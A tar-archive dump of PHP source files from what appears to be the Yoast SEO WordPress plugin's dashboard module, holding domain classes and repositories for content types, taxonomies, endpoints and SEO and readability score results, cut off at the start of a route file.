src/dashboard/domain/score-groups/readability-score-groups/readability-score-groups-interface.php000064400000000563147510273100032227 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * This interface describes a readability score group implementation.
 */
interface Readability_Score_Groups_Interface extends Score_Groups_Interface {
}
wordpress-seo/src/dashboard/domain/score-groups/abstract-score-group.php000064400000001563147510273100022561 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups;

/**
 * Abstract class for a score group.
 */
abstract class Abstract_Score_Group implements Score_Groups_Interface {

	/**
	 * The name of the score group.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The key of the score group that is used when filtering on the posts page.
	 *
	 * @var string
	 */
	private $filter_key;

	/**
	 * The value of the score group that is used when filtering on the posts page.
	 *
	 * @var string
	 */
	private $filter_value;

	/**
	 * The min score of the score group.
	 *
	 * @var int
	 */
	private $min_score;

	/**
	 * The max score of the score group.
	 *
	 * @var int
	 */
	private $max_score;

	/**
	 * The position of the score group.
	 *
	 * @var int
	 */
	private $position;
}
wordpress-seo/src/dashboard/domain/filter-pairs/product-category-filter-pair.php000064400000001203147510273100024162 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs;

/**
 * This class describes the product category filter pair.
 */
class Product_Category_Filter_Pair implements Filter_Pairs_Interface {

	/**
	 * Gets the filtering taxonomy.
	 *
	 * @return string The filtering taxonomy.
	 */
	public function get_filtering_taxonomy(): string {
		return 'product_cat';
	}

	/**
	 * Gets the filtered content type.
	 *
	 * @return string The filtered content type.
	 */
	public function get_filtered_content_type(): string {
		return 'product';
	}
}
wordpress-seo/src/dashboard/domain/filter-pairs/filter-pairs-interface.php000064400000000770147510273100023022 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs;

/**
 * This interface describes a Filter Pair implementation.
 */
interface Filter_Pairs_Interface {

	/**
	 * Gets the filtering taxonomy.
	 *
	 * @return string
	 */
	public function get_filtering_taxonomy(): string;

	/**
	 * Gets the filtered content type.
	 *
	 * @return string
	 */
	public function get_filtered_content_type(): string;
}
wordpress-seo/src/dashboard/domain/score-results/current-score.php000064400000004042147510273100021463 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Results;

/**
 * This class describes a current score.
 */
class Current_Score {

	/**
	 * The name of the current score.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The amount of the current score.
	 *
	 * @var string
	 */
	private $amount;

	/**
	 * The ids of the current score.
	 *
	 * @var string
	 */
	private $ids;

	/**
	 * The links of the current score.
	 *
	 * @var array<string, string>
	 */
	private $links;

	/**
	 * The constructor.
	 *
	 * @param string                $name   The name of the current score.
	 * @param int                   $amount The amount of the current score.
	 * @param string                $ids    The ids of the current score.
	 * @param array<string, string> $links  The links of the current score.
	 */
	public function __construct( string $name, int $amount, ?string $ids = null, ?array $links = null ) {
		$this->name   = $name;
		$this->amount = $amount;
		$this->ids    = $ids;
		$this->links  = $links;
	}

	/**
	 * Gets name of the current score.
	 *
	 * @return string The name of the current score.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Gets the amount of the current score.
	 *
	 * @return string The amount of the current score.
	 */
	public function get_amount(): int {
		return $this->amount;
	}

	/**
	 * Gets the ids of the current score.
	 *
	 * @return string The ids of the current score.
	 */
	public function get_ids(): ?string {
		return $this->ids;
	}

	/**
	 * Gets the links of the current score in the expected key value representation.
	 *
	 * @return array<string,string> The links of the current score in the expected key value representation.
	 */
	public function get_links_to_array(): ?array {
		$links = [];

		if ( $this->links === null ) {
			return $links;
		}

		foreach ( $this->links as $key => $link ) {
			if ( $link === null ) {
				continue;
			}
			$links[ $key ] = $link;
		}
		return $links;
	}
}
wordpress-seo/src/dashboard/domain/score-results/score-result.php000064400000003063147510273100021321 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Results;

/**
 * This class describes a score result.
 */
class Score_Result {

	/**
	 * The list of the current scores of the score result.
	 *
	 * @var Current_Scores_List
	 */
	private $current_scores_list;

	/**
	 * The time the query took to get the score results.
	 *
	 * @var float
	 */
	private $query_time;

	/**
	 * Whether cache was used to get the score results.
	 *
	 * @var bool
	 */
	private $is_cached_used;

	/**
	 * The constructor.
	 *
	 * @param Current_Scores_List $current_scores_list The list of the current scores of the score result.
	 * @param float               $query_time          The time the query took to get the score results.
	 * @param bool                $is_cached_used      Whether cache was used to get the score results.
	 */
	public function __construct( Current_Scores_List $current_scores_list, float $query_time, bool $is_cached_used ) {
		$this->current_scores_list = $current_scores_list;
		$this->query_time          = $query_time;
		$this->is_cached_used      = $is_cached_used;
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,array<array<string, string|int|array<string, string>>>|float|bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'scores'    => $this->current_scores_list->to_array(),
			'queryTime' => $this->query_time,
			'cacheUsed' => $this->is_cached_used,
		];
	}
}
wordpress-seo/src/dashboard/domain/score-results/current-scores-list.php000064400000002535147510273100022624 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Results;

/**
 * This class describes a list of current scores.
 */
class Current_Scores_List {

	/**
	 * The current scores.
	 *
	 * @var Current_Score[]
	 */
	private $current_scores = [];

	/**
	 * Adds a current score to the list.
	 *
	 * @param Current_Score $current_score The current score to add.
	 * @param int           $position      The position to add the current score.
	 *
	 * @return void
	 */
	public function add( Current_Score $current_score, int $position ): void {
		$this->current_scores[ $position ] = $current_score;
	}

	/**
	 * Parses the current score list to the expected key value representation.
	 *
	 * @return array<array<string, string|int|array<string, string>>> The score list presented as the expected key value representation.
	 */
	public function to_array(): array {
		$array = [];

		\ksort( $this->current_scores );

		foreach ( $this->current_scores as $key => $current_score ) {
			$array[] = [
				'name'   => $current_score->get_name(),
				'amount' => $current_score->get_amount(),
				'links'  => $current_score->get_links_to_array(),
			];

			if ( $current_score->get_ids() !== null ) {
				$array[ $key ]['ids'] = $current_score->get_ids();
			}
		}

		return $array;
	}
}
wordpress-seo/src/dashboard/domain/score-results/score-results-not-found-exception.php000064400000000663147510273100025412 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Results;

use Exception;

/**
 * Exception for when score results are not found.
 */
class Score_Results_Not_Found_Exception extends Exception {

	/**
	 * Constructor of the exception.
	 */
	public function __construct() {
		parent::__construct( 'Score results not found', 500 );
	}
}
wordpress-seo/src/dashboard/domain/taxonomies/taxonomy.php000064400000002522147510273100020123 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Taxonomies;

/**
 * This class describes a Taxonomy.
 */
class Taxonomy {

	/**
	 * The name of the taxonomy.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The label of the taxonomy.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * The REST URL of the taxonomy.
	 *
	 * @var string
	 */
	private $rest_url;

	/**
	 * The constructor.
	 *
	 * @param string $name     The name of the taxonomy.
	 * @param string $label    The label of the taxonomy.
	 * @param string $rest_url The REST URL of the taxonomy.
	 */
	public function __construct(
		string $name,
		string $label,
		string $rest_url
	) {
		$this->name     = $name;
		$this->label    = $label;
		$this->rest_url = $rest_url;
	}

	/**
	 * Returns the name of the taxonomy.
	 *
	 * @return string The name of the taxonomy.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Parses the taxonomy to the expected key value representation.
	 *
	 * @return array<string, array<string, string>> The taxonomy presented as the expected key value representation.
	 */
	public function to_array(): array {
		return [
			'name'  => $this->name,
			'label' => $this->label,
			'links' => [
				'search' => $this->rest_url,
			],
		];
	}
}
wordpress-seo/src/dashboard/domain/content-types/content-types-list.php000064400000002567147510273100022471 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Content_Types;

/**
 * This class describes a list of content types.
 */
class Content_Types_List {

	/**
	 * The content types.
	 *
	 * @var array<Content_Type>
	 */
	private $content_types = [];

	/**
	 * Adds a content type to the list.
	 *
	 * @param Content_Type $content_type The content type to add.
	 *
	 * @return void
	 */
	public function add( Content_Type $content_type ): void {
		$this->content_types[ $content_type->get_name() ] = $content_type;
	}

	/**
	 * Returns the content types in the list.
	 *
	 * @return array<Content_Type> The content types in the list.
	 */
	public function get(): array {
		return $this->content_types;
	}

	/**
	 * Parses the content type list to the expected key value representation.
	 *
	 * @return array<array<string,array<string, array<string, array<string, string|null>>>>> The content type list presented as the expected key value representation.
	 */
	public function to_array(): array {
		$array = [];
		foreach ( $this->content_types as $content_type ) {
			$array[] = [
				'name'     => $content_type->get_name(),
				'label'    => $content_type->get_label(),
				'taxonomy' => ( $content_type->get_taxonomy() ) ? $content_type->get_taxonomy()->to_array() : null,
			];
		}

		return $array;
	}
}
wordpress-seo/src/dashboard/domain/content-types/content-type.php000064400000003364147510273100021331 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Content_Types;

use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;

/**
 * This class describes a Content Type.
 */
class Content_Type {

	/**
	 * The name of the content type.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The label of the content type.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * The taxonomy that filters the content type.
	 *
	 * @var Taxonomy
	 */
	private $taxonomy;

	/**
	 * The constructor.
	 *
	 * @param string        $name     The name of the content type.
	 * @param string        $label    The label of the content type.
	 * @param Taxonomy|null $taxonomy The taxonomy that filters the content type.
	 */
	public function __construct( string $name, string $label, ?Taxonomy $taxonomy = null ) {
		$this->name     = $name;
		$this->label    = $label;
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Gets name of the content type.
	 *
	 * @return string The name of the content type.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Gets label of the content type.
	 *
	 * @return string The label of the content type.
	 */
	public function get_label(): string {
		return $this->label;
	}

	/**
	 * Gets the taxonomy that filters the content type.
	 *
	 * @return Taxonomy|null The taxonomy that filters the content type.
	 */
	public function get_taxonomy(): ?Taxonomy {
		return $this->taxonomy;
	}

	/**
	 * Sets the taxonomy that filters the content type.
	 *
	 * @param Taxonomy|null $taxonomy The taxonomy that filters the content type.
	 *
	 * @return void
	 */
	public function set_taxonomy( ?Taxonomy $taxonomy ): void {
		$this->taxonomy = $taxonomy;
	}
}
wordpress-seo/src/dashboard/domain/endpoint/endpoint-list.php000064400000001513147510273100020467 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Endpoint;

/**
 * List of endpoints.
 */
class Endpoint_List {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface> $endpoints
	 */
	private $endpoints = [];

	/**
	 * Adds an endpoint to the list.
	 *
	 * @param Endpoint_Interface $endpoint An endpoint.
	 *
	 * @return void
	 */
	public function add_endpoint( Endpoint_Interface $endpoint ): void {
		$this->endpoints[] = $endpoint;
	}

	/**
	 * Converts the list to an array.
	 *
	 * @return array<string,string> The array of endpoints.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->endpoints as $endpoint ) {
			$result[ $endpoint->get_name() ] = $endpoint->get_url();
		}

		return $result;
	}
}
wordpress-seo/src/dashboard/domain/endpoint/endpoint-interface.php000064400000001056147510273100021456 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Endpoint;

interface Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string;

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string;

	/**
	 * Gets the route.
	 *
	 * @return string
	 */
	public function get_route(): string;

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string;
}
wordpress-seo/src/dashboard/application/filter-pairs/filter-pairs-repository.php000064400000003053147510273100024332 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Filter_Pairs;

use Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs\Filter_Pairs_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector;

/**
 * The repository to get hardcoded filter pairs.
 */
class Filter_Pairs_Repository {

	/**
	 * The taxonomies collector.
	 *
	 * @var Taxonomies_Collector
	 */
	private $taxonomies_collector;

	/**
	 * All filter pairs.
	 *
	 * @var Filter_Pairs_Interface[]
	 */
	private $filter_pairs;

	/**
	 * The constructor.
	 *
	 * @param Taxonomies_Collector   $taxonomies_collector The taxonomies collector.
	 * @param Filter_Pairs_Interface ...$filter_pairs      All filter pairs.
	 */
	public function __construct(
		Taxonomies_Collector $taxonomies_collector,
		Filter_Pairs_Interface ...$filter_pairs
	) {
		$this->taxonomies_collector = $taxonomies_collector;
		$this->filter_pairs         = $filter_pairs;
	}

	/**
	 * Returns a taxonomy based on a content type, by looking into hardcoded filter pairs.
	 *
	 * @param string $content_type The content type.
	 *
	 * @return Taxonomy|null The taxonomy filter.
	 */
	public function get_taxonomy( string $content_type ): ?Taxonomy {
		foreach ( $this->filter_pairs as $filter_pair ) {
			if ( $filter_pair->get_filtered_content_type() === $content_type ) {
				return $this->taxonomies_collector->get_taxonomy( $filter_pair->get_filtering_taxonomy(), $content_type );
			}
		}

		return null;
	}
}
wordpress-seo/src/dashboard/application/endpoints/endpoints-repository.php000064400000001725147510273100023342 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Application\Endpoints;

use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_List;

/**
 * Repository for endpoints.
 */
class Endpoints_Repository {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface>
	 */
	private $endpoints;

	/**
	 * Constructs the repository.
	 *
	 * @param Endpoint_Interface ...$endpoints The endpoints to add to the repository.
	 */
	public function __construct( Endpoint_Interface ...$endpoints ) {
		$this->endpoints = $endpoints;
	}

	/**
	 * Creates a list with all endpoints.
	 *
	 * @return Endpoint_List The list with all endpoints.
	 */
	public function get_all_endpoints(): Endpoint_List {
		$list = new Endpoint_List();
		foreach ( $this->endpoints as $endpoint ) {
			$list->add_endpoint( $endpoint );
		}

		return $list;
	}
}
wordpress-seo/src/dashboard/application/score-results/abstract-score-results-repository.php000064400000005274147510273100026564 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Score_Result;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Score_Results_Collector_Interface;

/**
 * The abstract score results repository.
 */
abstract class Abstract_Score_Results_Repository {

	/**
	 * The score results collector.
	 *
	 * @var Score_Results_Collector_Interface
	 */
	protected $score_results_collector;

	/**
	 * The current scores repository.
	 *
	 * @var Current_Scores_Repository
	 */
	protected $current_scores_repository;

	/**
	 * All score groups.
	 *
	 * @var Score_Groups_Interface[]
	 */
	protected $score_groups;

	/**
	 * Sets the repositories.
	 *
	 * @required
	 *
	 * @param Current_Scores_Repository $current_scores_repository The current scores repository.
	 *
	 * @return void
	 */
	public function set_repositories(
		Current_Scores_Repository $current_scores_repository
	) {
		$this->current_scores_repository = $current_scores_repository;
	}

	/**
	 * Returns the score results for a content type.
	 *
	 * @param Content_Type  $content_type       The content type.
	 * @param Taxonomy|null $taxonomy           The taxonomy of the term we're filtering for.
	 * @param int|null      $term_id            The ID of the term we're filtering for.
	 * @param bool|null     $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<array<string, string|int|array<string, string>>> The scores.
	 *
	 * @throws Exception When getting score results from the infrastructure fails.
	 */
	public function get_score_results( Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id, ?bool $is_troubleshooting ): array {
		$score_results = $this->score_results_collector->get_score_results( $this->score_groups, $content_type, $term_id, $is_troubleshooting );

		if ( $is_troubleshooting === true ) {
			$score_results['score_ids'] = clone $score_results['scores'];

			foreach ( $score_results['scores'] as &$score ) {
				$score = ( $score !== null ) ? \count( \explode( ',', $score ) ) : 0;
			}
		}

		$current_scores_list = $this->current_scores_repository->get_current_scores( $this->score_groups, $score_results, $content_type, $taxonomy, $term_id );
		$score_result_object = new Score_Result( $current_scores_list, $score_results['query_time'], $score_results['cache_used'] );

		return $score_result_object->to_array();
	}
}
src/dashboard/application/score-results/seo-score-results/seo-score-results-repository.php000064400000002211147510273100031052 0ustar00wordpress-seo<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results\SEO_Score_Results;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\Abstract_Score_Results_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\Cached_SEO_Score_Results_Collector;

/**
 * The repository to get SEO score results.
 */
class SEO_Score_Results_Repository extends Abstract_Score_Results_Repository {

	/**
	 * The constructor.
	 *
	 * @param Cached_SEO_Score_Results_Collector $seo_score_results_collector The cached SEO score results collector.
	 * @param SEO_Score_Groups_Interface         ...$seo_score_groups         All SEO score groups.
	 */
	public function __construct(
		Cached_SEO_Score_Results_Collector $seo_score_results_collector,
		SEO_Score_Groups_Interface ...$seo_score_groups
	) {
		$this->score_results_collector = $seo_score_results_collector;
		$this->score_groups            = $seo_score_groups;
	}
}
wordpress-seo/src/dashboard/application/score-results/current-scores-repository.php000064400000006225147510273100025124 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results;

use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Current_Score;
use Yoast\WP\SEO\Dashboard\Domain\Score_Results\Current_Scores_List;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Groups\Score_Group_Link_Collector;

/**
 * The current scores repository.
 */
class Current_Scores_Repository {

	/**
	 * The score group link collector.
	 *
	 * @var Score_Group_Link_Collector
	 */
	protected $score_group_link_collector;

	/**
	 * The constructor.
	 *
	 * @param Score_Group_Link_Collector $score_group_link_collector The score group link collector.
	 */
	public function __construct(
		Score_Group_Link_Collector $score_group_link_collector
	) {
		$this->score_group_link_collector = $score_group_link_collector;
	}

	/**
	 * Returns the current results.
	 *
	 * @param Score_Groups_Interface[] $score_groups  The score groups.
	 * @param array<string, string>    $score_results The score results.
	 * @param Content_Type             $content_type  The content type.
	 * @param Taxonomy|null            $taxonomy      The taxonomy of the term we're filtering for.
	 * @param int|null                 $term_id       The ID of the term we're filtering for.
	 *
	 * @return array<array<string, string|int|array<string, string>>> The current results.
	 */
	public function get_current_scores( array $score_groups, array $score_results, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): Current_Scores_List {
		$current_scores_list = new Current_Scores_List();

		foreach ( $score_groups as $score_group ) {
			$score_name          = $score_group->get_name();
			$current_score_links = $this->get_current_score_links( $score_group, $content_type, $taxonomy, $term_id );
			$score_amount        = (int) $score_results['scores']->$score_name;
			$score_ids           = ( isset( $score_results['score_ids'] ) ) ? $score_results['score_ids']->$score_name : null;

			$current_score = new Current_Score( $score_name, $score_amount, $score_ids, $current_score_links );
			$current_scores_list->add( $current_score, $score_group->get_position() );
		}

		return $current_scores_list;
	}

	/**
	 * Returns the links for the current scores of a score group.
	 *
	 * @param Score_Groups_Interface $score_group  The scoure group.
	 * @param Content_Type           $content_type The content type.
	 * @param Taxonomy|null          $taxonomy     The taxonomy of the term we're filtering for.
	 * @param int|null               $term_id      The ID of the term we're filtering for.
	 *
	 * @return array<string,string> The current score links.
	 */
	protected function get_current_score_links( Score_Groups_Interface $score_group, Content_Type $content_type, ?Taxonomy $taxonomy, ?int $term_id ): array {
		return [
			'view' => $this->score_group_link_collector->get_view_link( $score_group, $content_type, $taxonomy, $term_id ),
		];
	}
}
application/score-results/readability-score-results/readability-score-results-repository.php000064400000002441147510273100034265 0ustar00wordpress-seo/src/dashboard<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results\Readability_Score_Results;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\Abstract_Score_Results_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Readability_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Cached_Readability_Score_Results_Collector;

/**
 * The repository to get readability score results.
 */
class Readability_Score_Results_Repository extends Abstract_Score_Results_Repository {

	/**
	 * The constructor.
	 *
	 * @param Cached_Readability_Score_Results_Collector $readability_score_results_collector The cached readability score results collector.
	 * @param Readability_Score_Groups_Interface         ...$readability_score_groups         All readability score groups.
	 */
	public function __construct(
		Cached_Readability_Score_Results_Collector $readability_score_results_collector,
		Readability_Score_Groups_Interface ...$readability_score_groups
	) {
		$this->score_results_collector = $readability_score_results_collector;
		$this->score_groups            = $readability_score_groups;
	}
}
wordpress-seo/src/dashboard/application/taxonomies/taxonomies-repository.php000064400000003727147510273100023714 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Taxonomies;

use Yoast\WP\SEO\Dashboard\Application\Filter_Pairs\Filter_Pairs_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector;

/**
 * The repository to get taxonomies.
 */
class Taxonomies_Repository {

	/**
	 * The taxonomies collector.
	 *
	 * @var Taxonomies_Collector
	 */
	private $taxonomies_collector;

	/**
	 * The filter pairs repository.
	 *
	 * @var Filter_Pairs_Repository
	 */
	private $filter_pairs_repository;

	/**
	 * The constructor.
	 *
	 * @param Taxonomies_Collector    $taxonomies_collector    The taxonomies collector.
	 * @param Filter_Pairs_Repository $filter_pairs_repository The filter pairs repository.
	 */
	public function __construct(
		Taxonomies_Collector $taxonomies_collector,
		Filter_Pairs_Repository $filter_pairs_repository
	) {
		$this->taxonomies_collector    = $taxonomies_collector;
		$this->filter_pairs_repository = $filter_pairs_repository;
	}

	/**
	 * Returns the object of the filtering taxonomy of a content type.
	 *
	 * @param string $content_type The content type that the taxonomy filters.
	 *
	 * @return Taxonomy|null The filtering taxonomy of the content type.
	 */
	public function get_content_type_taxonomy( string $content_type ) {
		// First we check if there's a filter that overrides the filtering taxonomy for this content type.
		$taxonomy = $this->taxonomies_collector->get_custom_filtering_taxonomy( $content_type );
		if ( $taxonomy ) {
			return $taxonomy;
		}

		// Then we check if there is a filter explicitly made for this content type.
		$taxonomy = $this->filter_pairs_repository->get_taxonomy( $content_type );
		if ( $taxonomy ) {
			return $taxonomy;
		}

		// If everything else returned empty, we can always try the fallback taxonomy.
		return $this->taxonomies_collector->get_fallback_taxonomy( $content_type );
	}
}
wordpress-seo/src/dashboard/application/content-types/content-types-repository.php000064400000003131147510273100024755 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Content_Types;

use Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository;
use Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector;

/**
 * The repository to get content types.
 */
class Content_Types_Repository {

	/**
	 * The post type helper.
	 *
	 * @var Content_Types_Collector
	 */
	protected $content_types_collector;

	/**
	 * The taxonomies repository.
	 *
	 * @var Taxonomies_Repository
	 */
	private $taxonomies_repository;

	/**
	 * The constructor.
	 *
	 * @param Content_Types_Collector $content_types_collector The post type helper.
	 * @param Taxonomies_Repository   $taxonomies_repository   The taxonomies repository.
	 */
	public function __construct(
		Content_Types_Collector $content_types_collector,
		Taxonomies_Repository $taxonomies_repository
	) {
		$this->content_types_collector = $content_types_collector;
		$this->taxonomies_repository   = $taxonomies_repository;
	}

	/**
	 * Returns the content types array.
	 *
	 * @return array<array<string,array<string, array<string, array<string, string|null>>>>> The content types array.
	 */
	public function get_content_types(): array {
		$content_types_list = $this->content_types_collector->get_content_types();

		foreach ( $content_types_list->get() as $content_type ) {
			$content_type_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() );
			$content_type->set_taxonomy( $content_type_taxonomy );
		}

		return $content_types_list->to_array();
	}
}
wordpress-seo/src/dashboard/application/configuration/dashboard-configuration.php000064400000007336147510273100024566 0ustar00<?php


// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Configuration;

use Yoast\WP\SEO\Dashboard\Application\Content_Types\Content_Types_Repository;
use Yoast\WP\SEO\Dashboard\Application\Endpoints\Endpoints_Repository;
use Yoast\WP\SEO\Dashboard\Infrastructure\Nonces\Nonce_Repository;
use Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository;
use Yoast\WP\SEO\Editors\Framework\Keyphrase_Analysis;
use Yoast\WP\SEO\Editors\Framework\Readability_Analysis;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Responsible for the dashboard configuration.
 */
class Dashboard_Configuration {

	/**
	 * The content types repository.
	 *
	 * @var Content_Types_Repository $content_types_repository
	 */
	private $content_types_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper $indexable_helper
	 */
	private $indexable_helper;

	/**
	 * The user helper.
	 *
	 * @var User_Helper $user_helper
	 */
	private $user_helper;

	/**
	 * The repository.
	 *
	 * @var Enabled_Analysis_Features_Repository
	 */
	private $enabled_analysis_features_repository;

	/**
	 * The endpoints repository.
	 *
	 * @var Endpoints_Repository
	 */
	private $endpoints_repository;

	/**
	 * The nonce repository.
	 *
	 * @var Nonce_Repository
	 */
	private $nonce_repository;

	/**
	 * The constructor.
	 *
	 * @param Content_Types_Repository             $content_types_repository             The content types repository.
	 * @param Indexable_Helper                     $indexable_helper                     The indexable helper
	 *                                                                                   repository.
	 * @param User_Helper                          $user_helper                          The user helper.
	 * @param Enabled_Analysis_Features_Repository $enabled_analysis_features_repository The analysis feature
	 *                                                                                   repository.
	 * @param Endpoints_Repository                 $endpoints_repository                 The endpoints repository.
	 * @param Nonce_Repository                     $nonce_repository                     The nonce repository.
	 */
	public function __construct(
		Content_Types_Repository $content_types_repository,
		Indexable_Helper $indexable_helper,
		User_Helper $user_helper,
		Enabled_Analysis_Features_Repository $enabled_analysis_features_repository,
		Endpoints_Repository $endpoints_repository,
		Nonce_Repository $nonce_repository
	) {
		$this->content_types_repository             = $content_types_repository;
		$this->indexable_helper                     = $indexable_helper;
		$this->user_helper                          = $user_helper;
		$this->enabled_analysis_features_repository = $enabled_analysis_features_repository;
		$this->endpoints_repository                 = $endpoints_repository;
		$this->nonce_repository                     = $nonce_repository;
	}

	/**
	 * Returns a configuration
	 *
	 * @return array<string,array<string>>
	 */
	public function get_configuration(): array {
		return [
			'contentTypes'            => $this->content_types_repository->get_content_types(),
			'indexablesEnabled'       => $this->indexable_helper->should_index_indexables(),
			'displayName'             => $this->user_helper->get_current_user_display_name(),
			'enabledAnalysisFeatures' => $this->enabled_analysis_features_repository->get_features_by_keys(
				[
					Readability_Analysis::NAME,
					Keyphrase_Analysis::NAME,
				]
			)->to_array(),
			'endpoints'               => $this->endpoints_repository->get_all_endpoints()->to_array(),
			'nonce'                   => $this->nonce_repository->get_rest_nonce(),
		];
	}
}
wordpress-seo/src/dashboard/user-interface/scores/readability-scores-route.php000064400000001547147510273100023751 0ustar00<?php
